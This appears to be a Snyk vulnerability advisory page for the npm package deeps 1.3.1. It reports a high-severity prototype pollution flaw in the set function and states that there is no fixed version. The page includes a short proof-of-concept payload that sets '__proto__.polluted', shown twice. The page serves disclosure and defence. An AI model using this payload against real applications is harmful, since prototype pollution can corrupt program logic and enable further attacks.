deeps@1.3.1 vulnerabilities

Highly performant utilities to manage deeply nested objects. get, set, merge, flatten, diff etc.

1.4.5

9 years ago

7 years ago

Known vulnerabilities in the deeps package. This does not include vulnerabilities belonging to this package’s dependencies.

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Vulnerability Vulnerable Version

Vulnerability	Vulnerable Version
H Prototype Pollution deeps is a Highly performant utilities to manage deeply nested objects. get, set, merge, flatten, diff etc. Affected versions of this package are vulnerable to Prototype Pollution via the `set` function. POC: `const deeps = require('deeps'); deeps.set({}, '__proto__.polluted', true); console.log(polluted);` How to fix Prototype Pollution? There is no fixed version for `deeps`.	*

deeps is a Highly performant utilities to manage deeply nested objects. get, set, merge, flatten, diff etc.

Affected versions of this package are vulnerable to Prototype Pollution via the set function.

const deeps = require('deeps');
deeps.set({}, '__proto__.polluted', true);
console.log(polluted);

How to fix Prototype Pollution?

There is no fixed version for deeps.